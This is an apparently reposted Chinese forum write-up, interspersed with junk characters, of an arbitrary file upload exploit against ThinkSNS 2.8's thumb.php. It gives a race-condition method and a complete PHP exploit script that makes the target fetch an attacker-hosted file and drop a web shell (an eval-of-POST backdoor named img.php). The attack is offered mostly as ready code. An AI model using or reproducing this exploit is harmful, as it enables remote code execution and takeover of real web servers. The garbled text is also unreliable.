漏洞版本3 H& P) X2 |$ R, x( n, C( }7 v
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
/ e ?, J% K8 r8 _' x) A [漏洞文件
8 ?* |* g; y {2 ^/ e; r" A! ?存在漏洞的文件为:thumb.php% f7 g0 Q- n( G2 p
作者:韦鲲鹏# V/ j W$ b5 D8 J: f+ i
1、 准备如下PHP文件并上传到服务器(自己的)。$ c2 c9 Q: M' c
文件内容如下:5 y/ h; |1 ?( G+ I3 O! `
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>: X6 [, R% r9 }- P. w
2、 计算出临时的文件名:
1 _5 D' _2 B3 \7 J0 P这里我们可以看文件的99行(刚刚是不是没注意呀!)。
6 r" }' F) W/ p6 n& C5 X$ }6 F8 M5 i: F8 {
3、 上传临时文件。
5 N0 s9 ]2 e7 E, g4、 访问临时文件。
2 c) s9 w( k* w0 S但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)9 R* T) s7 m6 {! T$ W8 N
Exploit文件内容如下:(这个我就不详细解释了)
7 j$ X# s: B6 u9 N3 v) F<?php
2 Q7 I, P: C( z5 @7 Terror_reporting(0);1 D6 G9 n4 m6 N* K7 O J8 B, Y
set_time_limit(0);
- R' S8 [5 {% v; M6 {7 ]3 k$ _ini_set(“default_socket_timeout”, 5);
, `, ?& P6 U$ O) vfunction http_send($host, $port, $headers) {3 }& q9 L( J. E& U5 v0 M+ O
$fp = fsockopen($host, $port);5 D+ ~ S e) m5 O+ M6 f, v3 J" z
if (!$fp) die(‘Connection -> fail’);1 A) D6 u7 t% x
fputs($fp, $headers);) v7 W2 m1 ~# Y3 c+ ~
return $fp;
7 Y% ^# K: n; c& h; t7 ^5 ~3 i( L! `}. E7 Z1 T' H9 B6 Z' u
function http_recv($fp) {
; l0 N2 w7 ]( G+ T$ret=”";
; V# J2 E! u+ M( ^while (!feof($fp))
2 [ {8 O$ O2 u c$ret.= fgets($fp, 1024);) P, f3 o. x4 W+ v
fclose($fp);0 a$ x% n/ I/ Z* i, {( m' v
return $ret;
2 @# K I& a `9 C* U9 J}
/ E$ T0 O; D. G* O7 l6 b( K+ R" U$ Q, tprint “\n# ThinkSns Arbitrary File Upload #\n”;
R9 I. P1 T8 {. R }print “# Discovered by 韦鲲鹏 #\n\n”;# @/ |4 R( H6 `' p5 V/ G' ~
if ($argc < 4) {: B Y9 J' g( N8 m8 I3 S
print “Usage: php <host> <path> <romote_url>\n”;( M' L/ r4 A. u% o* l
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
& _4 ]$ l4 i) x* b" h kdie();
% m' n" Y A @/ }( l}2 t8 L+ ^- A& p U% ^. s, L
$host = $argv[1];% x2 L9 ~: h$ ~. m* l
$path = $argv[2];
9 o. B: {1 j8 o! s1 L+ y& s$url = $argv[3];
$ q! v, Y3 h% L! J: h7 G$i=0;
# X6 e6 R7 c! E//上传数据包" I8 {* Y4 `2 R, o! S7 G- r
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;7 R8 a% ?3 q! t) z7 C' @8 i
$headers_up .= “Host: “.$host.”\r\n”;
4 x h; v1 \4 v0 p) ^% {% d) V$headers_up .= “Connection: close\r\n\r\n”;
, _$ ~3 q* a& [/ r" f/ gecho $headers_up;& g( f7 }$ o2 W R; s) l
//临时文件访问数据包" \0 e0 Z2 {8 O! O |: t5 W4 q
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
* C7 W0 i/ } m; [$headers .= “Host: “.$host.”\r\n”;
% ~8 I- P, j' O. }0 I( X% V% o& S$headers .= “Connection: close\r\n\r\n”;
5 {" {2 @; u% g0 @5 D8 pecho $headers;
' n# P) T8 A& {2 a% { V7 v% Wwhile(++$i<10) {
4 Y- d1 S4 j" \( rfclose(http_send($host, 80, $headers));
3 u- ]! e/ S; }: s* A; E) R}
$ l1 g# [5 g2 N( R% {fclose(http_send($host, 80, $headers_up));
% y; |$ `7 N- B5 Ywhile(++$i<50) {' V, Z0 B. B; Z, j
fclose(http_send($host, 80, $headers));
$ g3 {4 ?' t" V& C0 k}
8 O3 n3 K* b5 ^$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
& m- p- Q9 t" f+ J3 h# W- ]$headers .= “Host: “.$host.”\r\n”;
( Z1 u. n0 f( L5 F6 Y$headers .= “Connection: close\r\n\r\n”;
, i' p; D$ s" n3 R5 b$res=http_recv(http_send($host, 80, $headers));
- v3 o$ L7 Z8 {: S$ o2 Tif(preg_match(‘/200 OK/’,$res)) {! M: o7 X$ D/ f8 r& T- K
print “Success!\n\n”;
8 c0 o$ o4 p6 v} else {( o& K* O. t) a) |
print “Fail!\n\n”;
8 K( O- O# {% z& ^( ?: E, R1 Y% s1 u}" `8 K" @+ s' U/ V' c G
?>9 o0 S6 i! T5 X) L
|